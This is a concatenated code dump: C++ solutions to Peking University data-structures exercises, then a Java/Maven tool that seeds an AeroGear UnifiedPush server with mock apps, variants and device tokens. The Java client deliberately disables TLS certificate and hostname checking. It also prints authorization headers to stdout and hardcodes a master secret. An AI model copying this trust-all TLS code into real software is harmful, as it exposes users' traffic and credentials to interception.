if (!flag)
cout << ' ';
flag = false;
cout << "[ " << pair.second << ' ' << pair.first << " ]";
}
}
cout << endl;
}
}<file_sep>/练习4/4.7 实现KMP.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream> // 输入输出流头文件
#include <string>
#include <vector>
using namespace std;
class needle
{
private:
string pattern;
vector<int> next;
public:
friend class KMP_srcher;
needle(const string& pattern) : next(pattern.size() + 1)
{
this->pattern = pattern;
if (pattern.size())
{
next[0] = -1;
int i = 0, j = -1;
for (; i < pattern.size();)
{
if (j >= 0 && pattern[i] != pattern[j])
j = next[j];
else {
++i; ++j;
//if (pattern[i] == pattern[j])
//next[i] = next[j];
//else
next[i] = j;
}
}
}
}
};
class KMP_srcher
{
public:
static int search(const string& str, const needle& ndl)
{
const string& pat = ndl.pattern;
int i = 0, j = 0;
for (; i < (int)str.size() && j < (int)pat.size();)
{
if (j == -1 || str[i] == pat[j])
{
++i; ++j;
}
else j = ndl.next[j];
}
if (j < pat.size())
return -1;
else return i - j;
}
};
int main()
{
size_t t;
cin >> t;
for (; t--;)
{
string S, T;
cin >> S >> T;
cout << KMP_srcher::search(S, needle(T)) << endl;
}
}<file_sep>/README.md
# PKUSMS 数据结构与算法(B)
这是我对北京大学在2020-2021学年秋季学期为数学科学学院开设的数据结构与算法(B)的课程作业的解答。<file_sep>/练习4/4.6 字符串乘方.cpp
#include <string>
#include <iostream>
using namespace std;
int findn(const string& s)
{
string needle;
for (int i = 1; i <= s.size() / 2; ++i)
{
if (s.size() % i != 0)
continue;
needle = s.substr(0, i);
bool flag = true;
for (int j = i; j < s.size(); j++)
{
if (s[j] != needle[j % i])
{
flag = false;
break;
}
}
if (flag)
return s.size() / i;
}
return 1;
}
string s;
int main()
{
ios::sync_with_stdio(false);
for (; ;)
{
cin >> s;
if (s == ".")
break;
cout << findn(s) << endl;
}
return 0;
}<file_sep>/练习3/3.6 一元多项式求导.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream> // 输入输出流头文件
#include <algorithm> // 算法库
#include <list> // 链表
#include <vector> // 顺序存储的顺序表
#include <map>
#include <sstream>
#include <string>
using namespace std;
int main()
{
using coefc = int;
using expo = int;
list<int> a;
// 垃圾openjudge,输入最后居然没有换行符
for (; !cin.eof();)
{
map<expo, coefc, greater<int>> m;
string bufs;
getline(cin, bufs);
stringstream buf(bufs);
for (; !buf.eof();)
{
int c, e;
buf >> c >> e;
c *= e;
if (e > 0)
e -= 1;
if (m.find(e) != m.end())
{
m[e] += c;
}
else
{
m[e] = c;
}
}
bool no_output = true;
for (auto pair : m)
{
if (pair.second != 0)
{
if (!no_output)
{
cout << ' ';
}
no_output = false;
cout << pair.second << ' ' << pair.first;
}
}
if (no_output)
cout << "0 0";
cout << endl;
}
}<file_sep>/练习8/8.1 整型关键字的散列映射.cpp
// hash
#include <iostream>
#include <sstream>
#include <vector>
#include <limits>
using namespace std;
int mhash(int key, int M)
{
return key % M;
}
const int int_max = numeric_limits<int>::max();
int main()
{
int N, M;
cin >> N >> M;
vector<int> table(M, int_max);
stringstream ss;
for (int i = 0; i < N; ++i)
{
int key;
cin >> key;
int idx = mhash(key, M);
for (; table[idx] != int_max && table[idx] != key;
idx %= M)++idx;
table[idx] = key;
ss << idx << " ";
}
auto str = ss.str();
str = str.substr(0, str.size() - 1);
cout << str << endl;
}<file_sep>/练习8/8.4 学生成绩单科排序.cpp
// hash
#include <iostream>
#include <fstream>
#include <vector>
#include <algorithm>
using namespace std;
struct record
{
int id;
string name;
int score;
};
int main()
{
ios_base::sync_with_stdio(false);
int N, C;
cin >> N >> C;
vector<record> recs(N);
for (int i = 0; i < N; ++i)
{
cin >> recs[i].id >> recs[i].name
>> recs[i].score;
}
switch (C)
{
case 1:
sort(recs.begin(), recs.end(),
[](const record& lhs, const record& rhs)
{
return lhs.id < rhs.id;
}
); break;
case 2:
sort(recs.begin(), recs.end(),
[](const record& lhs, const record& rhs)
{
return lhs.name < rhs.name ||
(lhs.name == rhs.name &&
lhs.id < rhs.id);
}
); break;
case 3:
sort(recs.begin(), recs.end(),
[](const record& lhs, const record& rhs)
{
return lhs.score > rhs.score ||
(lhs.score == rhs.score &&
lhs.id < rhs.id);
}
); break;
default:
break;
}
for (auto& r : recs)
{
cout.fill('0');
cout.width(6);
cout << r.id;
cout << ' ' << r.name << ' '
<< r.score << '\n';
// endl will cause TLE
}
}<file_sep>/练习4/4.12 英语数字转换器.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream> // 输入输出流头文件
#include <string>
#include <iomanip>
#include <vector>
#include <sstream>
#include <regex>
using namespace std;
const string en_digit = "zero, one, two, three, four, five, six, seven, eight, nine, ten, eleven, twelve, thirteen, fourteen, fifteen, sixteen, seventeen, eighteen, nineteen, twenty";
const string en_modten = "xxx0, xxx1, twenty, thirty, forty, fifty, sixty, seventy, eighty, ninety";
vector<string> ed_map;
vector<string> em_map;
vector<string> split(const string& str, const regex& delim)
{
vector<string> ret(
sregex_token_iterator(str.begin(), str.end(),
delim, -1),
sregex_token_iterator()
);
return move(ret);
}
void initializer()
{
ed_map = split(en_digit, regex(",\\s+"));
em_map = split(en_modten, regex(",\\s+"));
}
int en_to_lower20(const string& en)
{
return find(ed_map.begin(), ed_map.end(), en) - ed_map.begin();
}
int en_to_mod10(const string& en)
{
return (find(em_map.begin(), em_map.end(), en) - em_map.begin()) * 10;
}
int en_to_lower100(const vector<string>& en)
{
if (en.size() == 2)
return en_to_mod10(en[0]) + en_to_lower20(en[1]);
if (en.size() == 1)
{
int tmp = en_to_lower20(en[0]);
if (tmp > 20)
return en_to_mod10(en[0]);
else
return tmp;
}
return -1;
}
int extract(const vector<string>& words)
{
for (size_t i = 0; i < words.size(); ++i)
if (words[i] == "million")
{
vector<string> f(i), b(words.size() - i - 1);
copy(words.begin(), words.begin() + i, f.begin());
copy(words.begin() + i + 1, words.end(), b.begin());
return extract(f) * 1000000 + extract(b);
}
for (size_t i = 0; i < words.size(); ++i)
if (words[i] == "thousand")
{
vector<string> f(i), b(words.size() - i - 1);
copy(words.begin(), words.begin() + i, f.begin());
copy(words.begin() + i + 1, words.end(), b.begin());
return extract(f) * 1000 + extract(b);
}
int ret = 0;
vector<string> b = words;
for (size_t i = 0; i < words.size(); ++i)
if (words[i] == "hundred")
{
b.clear();
b.resize(words.size() - i - 1);
copy(words.begin() + i + 1, words.end(), b.begin());
ret += en_to_lower20(words[i - 1]) * 100;
break;
}
return ret += en_to_lower100(b);
}
int decode(const string& s)
{
auto words = split(s, regex("\\s+"));
int sign = 1;
if (words[0] == "negative")
{
sign = -1;
words.erase(words.begin());
}
int ret = extract(words);
return ret * sign;
}
int main()
{
initializer();
for (;;)
{
string s;
getline(cin, s);
if (s == "")break;
cout << decode(s) << endl;
}
}
<file_sep>/练习9/9.1 数字三角形.cpp
// main
#include <iostream>
#include <fstream>
#include <vector>
#include <algorithm>
using namespace std;
int main()
{
int N;
cin >> N;
vector<vector<int> > data(N);
for (int i = 0; i < N; ++i)
for (int j = 0; j < i + 1; ++j)
{
int t;
cin >> t;
data[i].push_back(t);
}
for (int i = N - 2; i >= 0; --i)
for (int j = 0; j < i + 1; ++j)
data[i][j] += max(data[i + 1][j], data[i + 1][j + 1]);
cout << data[0][0] << endl;
}<file_sep>/练习6/6.1 重建二叉树.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <iomanip>
#include <sstream>
#include <string>
#include <stack>
#include <vector>
#include <deque>
#include <queue>
#include <map>
#include <unordered_map>
#include <algorithm>
#include <functional>
#include <limits>
using namespace std;
const char nul = '0';
struct node
{
char l = nul, r = nul;
};
size_t idx(const char c)
{
return c - 'A';
}
vector<node> tree;
char reconstruct(const string& f, const string& m)
{
if (f.empty())
return nul;
const char root = f[0];
auto divider = m.find(root);
string mleft = m.substr(0, divider);
string mright = m.substr(divider + 1, m.size() - divider - 1);
string fprime = f.substr(1, f.size() - 1);
auto fleft = fprime.substr(0, divider);
auto fright = fprime.substr(divider, m.size() - divider - 1);
tree[idx(root)].l = reconstruct(fleft, mleft);
tree[idx(root)].r = reconstruct(fright, mright);
return root;
}
string b_order(char root)
{
if (root == nul)return string();
auto l = b_order(tree[idx(root)].l);
auto r = b_order(tree[idx(root)].r);
return l + r + root;
}
int main()
{
for (;;)
{
string forder, morder;
if (!(cin >> forder >> morder))
break;
tree.clear();
tree.resize(26);
reconstruct(forder, morder);
cout << b_order(forder[0]) << endl;
}
}
<file_sep>/练习3/3.3 地下党行动小组(三)[双向链表].cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream> // 输入输出流头文件
#include <algorithm> // 算法库
//#include <list> // 链表
#include <vector> // 顺序存储的顺序表
#include <map>
#include <functional>
#include <memory>
#include <string>
#include <cassert>
using namespace std;
template <typename T>
class mlist
{
public:
struct node;
using node_p = shared_ptr<node>;
struct node
{
T data;
node_p next;
node_p prev;
};
private:
size_t _size = 0;
node_p before_first = nullptr;
node_p after_last = nullptr;
public:
size_t size() const { return _size; }
node_p begin() const { return before_first->next; }
node_p end() const { return after_last; }
node_p before_end() const { return end()->prev; }
mlist() {
node_p head = make_shared<node>();
//head->data is undefined
head->prev = nullptr;
before_first = head;
node_p tail = make_shared<node>();
//tail->data is undefined
tail->next = nullptr;
after_last = tail;
head->next = after_last;
tail->prev = before_first;
}
// insert after
void insert(node_p nodep, T&& data)
{
node_p newnode = make_shared<node>();
newnode->data = move(data);
newnode->prev = nodep;
newnode->next = nodep->next;
nodep->next->prev = newnode;
nodep->next = newnode;
++_size;
}
// assume *this is sorted
template<class Pred>
void insert(T&& data, Pred pred)
{
if (!size())
{
push_back(move(data));
return;
}
auto t = begin();
for (; t != end() && pred(t->data, data);)
t = t->next;
insert(t->prev, move(data));
}
void push_back(T&& data)
{
insert(before_end(), move(data));
}
node_p find(const T& needle) const
{
for (node_p it = begin(); it != end(); it = it->next)
{
if (it->data == needle)
return it;
}
return nullptr;
}
void erase(node_p nodep)
{
nodep->prev->next = nodep->next;
nodep->next->prev = nodep->prev;
//assert(nodep.use_count() == 0);
--_size;
}
void merge(const mlist<T>& rhs)
{
auto t = begin();
for (auto p = rhs.begin(); p != rhs.end(); p = p->next)
{
insert(move(p->data), less<T>());
}
}
};
template<typename T>
ostream& operator<<(ostream& out, const mlist<T>& A)
{
for (auto p = A.begin(); p != A.end(); p = p->next)
{
out << p->data.call << ' ' << p->data.id << endl;
}
return out;
}
struct member
{
string call;
int id = 0;
bool operator==(const member& rhs) const
{
return call == rhs.call;
}
bool operator<(const member& rhs) const
{
return id < rhs.id;
}
};
int main()
{
mlist<member> A, B;
int numA = 0, numB = 0;
cin >> numA >> numB;
for (size_t i = 0; i < numA; i++)
{
member m;
cin >> m.call >> m.id;
A.push_back(move(m));
}
for (size_t i = 0; i < numB; i++)
{
member m;
cin >> m.call >> m.id;
B.push_back(move(m));
}
A.merge(B);
int n;
cin >> n;
for (; n--;)
{
member freshman;
cin >> freshman.call >> freshman.id;
A.insert(move(freshman), less<member>());
}
cout << A;
}
<file_sep>/练习5/5.2 逆波兰表达式.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <iomanip>
#include <sstream>
#include <string>
#include <stack>
#include <cmath>
using namespace std;
class unit
{
bool sign;
char char_inside;
double double_inside;
public:
unit& operator=(const char c)
{
char_inside = c;
sign = false;
return *this;
}
unit& operator=(const double d)
{
double_inside = d;
sign = true;
return *this;
}
char get_char() const { return char_inside; }
double get_double() const { return double_inside; }
bool is_num() const { return sign; }
};
double calc(char op, double lhs, double rhs)
{
switch (op)
{
case '+':
return lhs + rhs; break;
case '-':
return lhs - rhs; break;
case '*':
return lhs * rhs; break;
case '/':
return lhs / rhs; break;
default:
return NAN; break;
}
}
double lambda(const string& expr)
{
stringstream ss(expr);
string notation;
stack<unit> notes;
for (; ss >> notation;)
{
unit u;
if (!isdigit(notation[0]))
u = notation[0];
else
{
u = stod(notation);
for (; !notes.empty() && notes.top().is_num();)
{
unit lhs = notes.top();
notes.pop();
unit op = notes.top();
notes.pop();
u = calc(op.get_char(), lhs.get_double(), u.get_double());
}
}
notes.push(u);
}
return notes.top().get_double();
}
int main()
{
string s;
getline(cin, s);
cout << fixed << setprecision(6) << lambda(s) << endl;
}
<file_sep>/练习3/3.1 地下党行动小组(一)[双向链表].cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream> // 输入输出流头文件
#include <algorithm> // 算法库
//#include <list> // 链表
#include <vector> // 顺序存储的顺序表
#include <map>
#include <functional>
#include <memory>
#include <string>
using namespace std;
template <typename T>
class mlist
{
public:
struct node;
using node_p = shared_ptr<node>;
struct node
{
T data;
node_p next;
node_p prev;
};
node_p first = nullptr;
node_p last = nullptr;
void insert_after(node_p nodep, T&& data)
{
node_p newnode = make_shared<node>();
newnode->data = move(data);
newnode->prev = nodep;
newnode->next = nodep->next;
if (nodep->next)
{
nodep->next->prev = newnode;
}
else
{
last = newnode;
}
nodep->next = newnode;
}
void insert_last(T&& data)
{
if (last)
insert_after(last, move(data));
else
{
node_p newnode = make_shared<node>();
newnode->data = move(data);
newnode->next = newnode->prev = nullptr;
first = last = newnode;
}
}
node_p find(const T& needle)
{
for (node_p it = first; it; it = it->next)
{
if (it->data == needle)
return it;
}
return nullptr;
}
};
struct member
{
string call;
int id = 0;
bool operator==(const member& rhs) const
{
return call == rhs.call;
}
};
int main()
{
mlist<member> A, B;
int numA = 0, numB = 0;
cin >> numA >> numB;
for (size_t i = 0; i < numA; i++)
{
member m;
cin >> m.call >> m.id;
A.insert_last(move(m));
}
for (size_t i = 0; i < numB; i++)
{
member m;
cin >> m.call >> m.id;
B.insert_last(move(m));
}
char c = '\0';
cin >> c;
member needle;
cin >> needle.call;
needle.id = 0;
mlist<member>::node_p np = nullptr;
if (c == 'A')
{
np = A.find(needle);
}
else if (c == 'B')
{
np = B.find(needle);
}
if (np && np->next)
cout << np->next->data.call << ' ' << np->next->data.id;
else
cout << "没有人";
cout << endl;
}
| 38792baea8f9da9a605a1cf82702294aa923d18e | [
"Markdown",
"C++"
] | 37 | C++ | drizmiz/SXDS | d92747769379910e33f9b1e61635fd45cc465515 | b0e2c4e316fa576f02b7e4da9ea81e37650f9413 |
refs/heads/master | <file_sep><?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.jboss</groupId>
<artifactId>jboss-parent</artifactId>
<version>21</version>
</parent>
<groupId>org.aerogear.test</groupId>
<artifactId>aerogear-mock-data-loader</artifactId>
<version>1.0.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>com.squareup.retrofit2</groupId>
<artifactId>retrofit</artifactId>
<version>2.5.0</version>
</dependency>
<dependency>
<groupId>com.squareup.retrofit2</groupId>
<artifactId>converter-gson</artifactId>
<version>2.5.0</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.3</version>
</dependency>
<dependency>
<groupId>commons-cli</groupId>
<artifactId>commons-cli</artifactId>
<version>1.3.1</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.22</version>
</dependency>
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-classic</artifactId>
<version>1.1.8</version>
</dependency>
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-core</artifactId>
<version>1.1.8</version>
</dependency>
<dependency>
<groupId>org.jboss.aerogear.unifiedpush</groupId>
<artifactId>unifiedpush-model-api</artifactId>
<version>2.2.1.Final</version>
</dependency>
<dependency>
<groupId>com.squareup.okhttp3</groupId>
<artifactId>logging-interceptor</artifactId>
<version>3.8.0</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>appassembler-maven-plugin</artifactId>
<version>1.10</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>assemble</goal>
</goals>
</execution>
</executions>
<configuration>
<repositoryName>lib</repositoryName>
<repositoryLayout>flat</repositoryLayout>
<programs>
<program>
<mainClass>org.jboss.aerogear.test.Main</mainClass>
<name>mock-data-loader.sh</name>
</program>
</programs>
</configuration>
</plugin>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<descriptors>
<descriptor>src/main/assembly/assembly.xml</descriptor>
</descriptors>
<descriptorRefs>
<descriptorRef>src</descriptorRef>
</descriptorRefs>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>2.3.2</version>
<configuration>
<source>11</source>
<target>11</target>
</configuration>
</plugin>
</plugins>
</build>
</project><file_sep>package org.jboss.aerogear.test;
import org.jboss.aerogear.unifiedpush.api.Installation;
import org.jboss.aerogear.unifiedpush.api.Variant;
import java.util.Observable;
import java.util.Observer;
import java.util.UUID;
import java.util.logging.Level;
import java.util.logging.Logger;
/**
* Loader for Mock tokens
*/
public class MockTokenLoader extends Observable implements Observer, Runnable {
private final String variantID;
private final String variantSecret;
private final int tokenCount;
private final String tokenAlias;
private final CSV csvFile;
private final AerogearAdminServiceProvider provider;
/**
* Initializes the loader
* @param provider provider to be used to authenticate to UPS
* @param variantID variant id owning this variants
* @param variantSecret the variant secret
* @param tokenCount number of tokens to be created
* @param tokenAlias alias to be used for the created tokens
* @param csvFilePath path to a csv file to be created containing the token data (variantid, token alias and token id)
*/
MockTokenLoader(final AerogearAdminServiceProvider provider, final String variantID, final String variantSecret, final int tokenCount, final String tokenAlias, final String csvFilePath, boolean append) {
try {
this.variantID = variantID;
this.variantSecret = variantSecret;
this.tokenCount = tokenCount;
this.tokenAlias = tokenAlias;
this.csvFile = csvFilePath == null ? CSV.NOOP.INSTANCE : new CSV(csvFilePath, append, "VARIANT ID", "TOKEN ALIAS", "TOKEN ID");
this.provider = provider;
} catch (Exception e) {
throw new RuntimeException(e);
}
}
/**
* Generate a unique token id for android devices
* @return the token id
*/
private static String generateAndroidToken() {
String raw = UUID.randomUUID().toString() + UUID.randomUUID().toString() + UUID.randomUUID().toString() + UUID.randomUUID().toString();
raw = raw.replaceAll("-","");
return raw;
}
/**
* Generate a unique token id for ios devices
* @return teh token id
*/
private static String generateiOSToken() {
String raw = UUID.randomUUID().toString() + UUID.randomUUID().toString();
raw = raw.replaceAll("-","");
return raw;
}
/**
* Runs the loader
*/
public void run() {
generateTokens(this.variantID, this.variantSecret);
}
/**
* Generate the tokens.
*
* @param variantID Variant owning the tokens
* @param variantSecret Variant secret
*/
private void generateTokens(final String variantID, final String variantSecret) {
provider.setCacheAnswer(true);
for (int i = 0; i < tokenCount; i++) {
setChanged();
String DEVICE_ALIAS = this.tokenAlias == null ? UUID.randomUUID().toString() : this.tokenAlias;
try {
Installation installation = new Installation();
installation.setDeviceToken(generateAndroidToken());
installation.setAlias(DEVICE_ALIAS);
installation = provider.getAdminService(variantID, variantSecret).registerDevice(installation).execute().body();
notifyObservers(installation);
csvFile.addLine(variantID, installation.getAlias(), installation.getId());
} catch (Exception e) {
Logger.getAnonymousLogger().log(Level.SEVERE, e.getMessage(), e);
notifyObservers(e);
}
}
}
@Override
public void update(final Observable o, final Object newVariant) {
// Can observe only variant loader...
if (newVariant instanceof Variant) {
Variant v = (Variant) newVariant;
generateTokens(v.getVariantID(), v.getSecret());
}
}
}
<file_sep>package org.jboss.aerogear.test;
import com.google.gson.*;
import okhttp3.Credentials;
import okhttp3.Interceptor;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.logging.HttpLoggingInterceptor;
import org.jboss.aerogear.test.retrofit.UnifiedPushService;
import org.jboss.aerogear.unifiedpush.api.*;
import retrofit2.Retrofit;
import retrofit2.converter.gson.GsonConverterFactory;
import javax.net.ssl.*;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.security.cert.CertificateException;
import java.util.ArrayList;
import java.util.List;
import java.util.function.Function;
import java.util.function.Supplier;
import java.util.logging.Level;
import java.util.logging.Logger;
/**
* Used to return an already authenticated {@link UnifiedPushService} object.
*/
public class AerogearAdminServiceProvider {
private static final Gson gson;
private static //Kill ssl trust
final TrustManager[] TRUST_ALL_CERTS = new TrustManager[]{
new X509TrustManager() {
@Override
public void checkClientTrusted(java.security.cert.X509Certificate[] chain, String authType) throws CertificateException {
}
@Override
public void checkServerTrusted(java.security.cert.X509Certificate[] chain, String authType) throws CertificateException {
}
@Override
public java.security.cert.X509Certificate[] getAcceptedIssuers() {
return new java.security.cert.X509Certificate[]{};
}
}
};
static {
gson = new GsonBuilder()
.registerTypeAdapter(VariantType.class, (JsonDeserializer<VariantType>) (jsonElement, type, jsonDeserializationContext) -> VariantType.valueOf(jsonElement.getAsString().toUpperCase()))
.registerTypeAdapter(PushApplication.class, (JsonDeserializer<PushApplication>) (jsonElement, type, jsonDeserializationContext) -> {
JsonObject jsonObject = jsonElement.getAsJsonObject();
Logger.getAnonymousLogger().log(Level.SEVERE, jsonObject.toString());
PushApplication pushApplication = new PushApplication();
pushApplication.setName(getString("name", jsonElement));
pushApplication.setDescription(getString("description", jsonElement));
pushApplication.setDeveloper(getString("developer", jsonElement));
pushApplication.setMasterSecret(getString("masterSecret", jsonElement));
pushApplication.setPushApplicationID(getString("pushApplicationID", jsonElement));
List<Variant> variantList = new ArrayList<>();
if (jsonObject.has("variants")) {
JsonArray variants = jsonObject.get("variants").getAsJsonArray();
for (JsonElement variantJson : variants) {
String typeString = getString("type", variantJson);
Variant variant = null;
if (typeString.equals("ios")) {
variant = new iOSVariant();
} else if (typeString.equals("android")) {
variant = new AndroidVariant();
}
variantList.add(variant);
}
}
pushApplication.setVariants(variantList);
return pushApplication;
})
.create();
}
private final String url;
private final String token;
private boolean cacheAnswer = false;
private UnifiedPushService cachedInstance = null;
/**
* Builds a new provider
*
* @param url URL to the aerogear UPS server
* @param token the Authorization Header token to attach to requests
*/
public AerogearAdminServiceProvider(final String url, final String token) {
if (url == null) {
throw new IllegalArgumentException("Url must not be null");
}
this.url = url;
if (token == null) {
throw new IllegalArgumentException("Token must not be null");
}
this.token = token;
}
/**
* Sets if the answer should be cached or not
*
* @param cacheAnswer true or false
*/
public void setCacheAnswer(boolean cacheAnswer) {
this.cacheAnswer = cacheAnswer;
}
/**
* If this method has been successfully called at least one time and {@link #cacheAnswer} is true,
* the same answer is returned at every call (without invoking the UPS server).
* if {@link #cacheAnswer} is false, a new authentication is performed at each call
*
* @return an {@link org.jboss.aerogear.test.retrofit.UnifiedPushService} instance
*/
public UnifiedPushService getAdminService() {
if (cacheAnswer && cachedInstance != null) {
return cachedInstance;
}
try {
OkHttpClient.Builder okHttpClientBuilder = defaultOkHttpClientBuilder(()->"Bearer " + token);
Retrofit retrofit = new Retrofit.Builder()
.baseUrl(url)
.client(okHttpClientBuilder.build())
.addConverterFactory(GsonConverterFactory.create(gson))
.build();
cachedInstance = retrofit.create(UnifiedPushService.class);
} catch (NoSuchAlgorithmException | KeyManagementException e) {
throw new RuntimeException(e);
}
return cachedInstance;
}
private static String getString(String key, JsonElement jsonElement) {
return jsonElement.getAsJsonObject().get(key).getAsString();
}
public UnifiedPushService getAdminService(String variantID, String variantSecret) {
try {
OkHttpClient.Builder okHttpClientBuilder = defaultOkHttpClientBuilder((()->Credentials.basic(variantID, variantSecret)));
Retrofit retrofit = new Retrofit.Builder()
.baseUrl(url)
.client(okHttpClientBuilder.build())
.addConverterFactory(GsonConverterFactory.create(gson))
.build();
return retrofit.create(UnifiedPushService.class);
} catch (NoSuchAlgorithmException | KeyManagementException e) {
throw new RuntimeException(e);
}
}
private Interceptor auth(Supplier<String> headerSupplier) {
return (chain) -> {
System.out.println(headerSupplier.get());
Request request = chain.request();
Request.Builder newRequest = request.newBuilder().header("Authorization", headerSupplier.get());
return chain.proceed(newRequest.build());
};
}
private OkHttpClient.Builder defaultOkHttpClientBuilder(Supplier<String> authorizationHeaderSupplier ) throws NoSuchAlgorithmException, KeyManagementException {
// Create an ssl socket factory with our all-trusting manager
SSLSocketFactory sslSocketFactory = insecureSocketFactory();
HttpLoggingInterceptor logging = new HttpLoggingInterceptor();
// set your desired log level
logging.setLevel(HttpLoggingInterceptor.Level.BODY);
OkHttpClient.Builder okHttpClientBuilder = new OkHttpClient.Builder();
okHttpClientBuilder.addInterceptor(logging);
okHttpClientBuilder.addInterceptor(auth(authorizationHeaderSupplier));
okHttpClientBuilder.sslSocketFactory(sslSocketFactory, (X509TrustManager) TRUST_ALL_CERTS[0]).hostnameVerifier((hostname, session) -> true);
return okHttpClientBuilder;
}
private SSLSocketFactory insecureSocketFactory() throws NoSuchAlgorithmException, KeyManagementException {
// Install the all-trusting trust manager
final SSLContext sslContext;
sslContext = SSLContext.getInstance("SSL");
sslContext.init(null, TRUST_ALL_CERTS, new java.security.SecureRandom());
return sslContext.getSocketFactory();
}
}
<file_sep>package org.jboss.aerogear.test;
import org.jboss.aerogear.test.builders.PushApplicationBuilder;
import org.jboss.aerogear.unifiedpush.api.PushApplication;
import java.util.Observable;
import java.util.UUID;
import java.util.logging.Level;
import java.util.logging.Logger;
/**
* Loader for MOCK apps.
* Notifies its list of {@link java.util.Observer}s everytime a new app is created or if the creation has failed.
*/
public class MockAppLoader extends Observable implements Runnable {
private String APPNAME_PATTERN = "Test App %d";
private String DEVELOPER_PATTERN = "Developer %d";
private String DESCRIPTION_PATTERN = "Test App %d";
private String MASTER_SECRET = "Shhh!!! Don't tell anyone!!";
private final int appCount;
private final AerogearAdminServiceProvider provider;
/**
* Initializes the loader.
* @param provider provider to be used to authenticate to UPS
* @param appCount number of apps to be created
*/
MockAppLoader(final AerogearAdminServiceProvider provider, final int appCount) {
this.provider = provider;
this.appCount = appCount;
}
/**
* Runs the loader
*/
public void run() {
provider.setCacheAnswer(false);
for (int i = 0; i < appCount; i++) {
// Whatever the creation succeeds or fails, the change state must be true to notify the observers
setChanged();
String appId = UUID.randomUUID().toString();
String appName = String.format(APPNAME_PATTERN, i);
try {
PushApplicationBuilder builder =
PushApplicationBuilder.forApplication(appId, appName)
.withDescription(String.format(DESCRIPTION_PATTERN, i))
.withDeveloper(String.format(DEVELOPER_PATTERN, i))
.withMasterSecret(MASTER_SECRET)
.withPushApplicationID(appId);
PushApplication app = provider.getAdminService().createPushApplication(builder.build()).execute().body();
// App created: notify the observers and pass the newly created app§
notifyObservers(app);
} catch (Exception re) {
Logger.getAnonymousLogger().log(Level.SEVERE, re.getMessage(), re);
// Creation failed: notify the observers and pass the exception
notifyObservers(re);
}
}
}
}
<file_sep>package org.jboss.aerogear.test.builders;
import org.jboss.aerogear.unifiedpush.api.AndroidVariant;
/**
* Builder for android variant.
*/
public class AndroidVariantBuilder extends VariantBuilder<AndroidVariantBuilder, AndroidVariant>{
private String projectNumber;
private String googleKey;
AndroidVariantBuilder() {
super();
}
public AndroidVariantBuilder withProjectNumber(String projectNumber) {
this.projectNumber = projectNumber;
return this;
}
public AndroidVariantBuilder withGoogleKey(final String googleKey) {
this.googleKey = googleKey;
return this;
}
@Override
protected AndroidVariant createInstance() {
return new AndroidVariant();
}
@Override
protected void populateFields(AndroidVariant instance) {
instance.setProjectNumber(this.projectNumber);
instance.setGoogleKey(this.googleKey);
}
@Override
protected AndroidVariantBuilder getThis() {
return this;
}
}
<file_sep>package org.jboss.aerogear.test.retrofit;
public enum Platforms {
IOS("ios"),
ANDROID("android");
private final String endpoint;
Platforms(String platformEndpoint) {
this.endpoint = platformEndpoint;
}
}
<file_sep># Mocked data loader
This tool can be used to populate a UPS server with mock applications, variants and tokens.
## Build the software
To build from source, you need to have [maven](https://maven.apache.org/) installed on your machine.
```bash
mvn clean install
```
## Load the mock data
Uncompress the produced archive in a directory of your choice:
```bash
tar xvfz target/aerogear-mock-data-loader-1.0.0-SNAPSHOT-bin.zip
```
The executable script will be in `aerogear-mock-data-loader-1.0-SNAPSHOT/bin/mock-data-loader.sh`.
#### Creating Mock Data in Standalone UPS
Add your credentials and simply run the script:
```bash
mock-data-loader.sh -u <username> -p <password> --apps <apps> --variants <variants> --tokens <tokens>
```
#### Creating Mock Data in RHMAP
Only creating tokens is possible. You have to specify the variant credentials in order to do this:
```bash
mock-data-loader.sh -u <username> -p <password> --tokens <tokens> <variantId>:<secret>
```
## More Options
Running the script without arguments will show the following help screen:
```bash
usage: mock-data-loader.sh -u|--username <username> -p|--password
<password> -a|--apps <TOTAL> -t|--tokens <TOTAL>
[variantid:secret] -A|--tokenAlias
<alias> -v|--variants <TOTAL> [-c|--clientid
<CLIENTID> -U|--url <UPS URL>] -C|--csv <path>
-X|--append
-a,--apps <total> Number of apps to be generated
-A,--alias <alias> Use this option if you want a
single alias for all the tokens
-c,--clientid <id> Client id used to create the
apps. Defaults to
<unified-push-server-js>
-C,--csv <CSV FILE> Generates a CSV file containing:
variantid, token alias and
tokenid
-p,--password <password> Password to be used to
authenticate to the UPS
-t,--tokens <total [variantid:secret]> Number of tokens to be generated
-u,--username <username> Username to be used to
authenticate to the UPS
-U,--url <UPS URL> URL to the UPS server. Defaults
to <http://localhost:8080>
-v,--variants <total> Number of variants to be
generated
-X,--append Use this option if you want to
append the list of created
tokens to the given CSV file
```
<file_sep>package org.jboss.aerogear.test.builders;
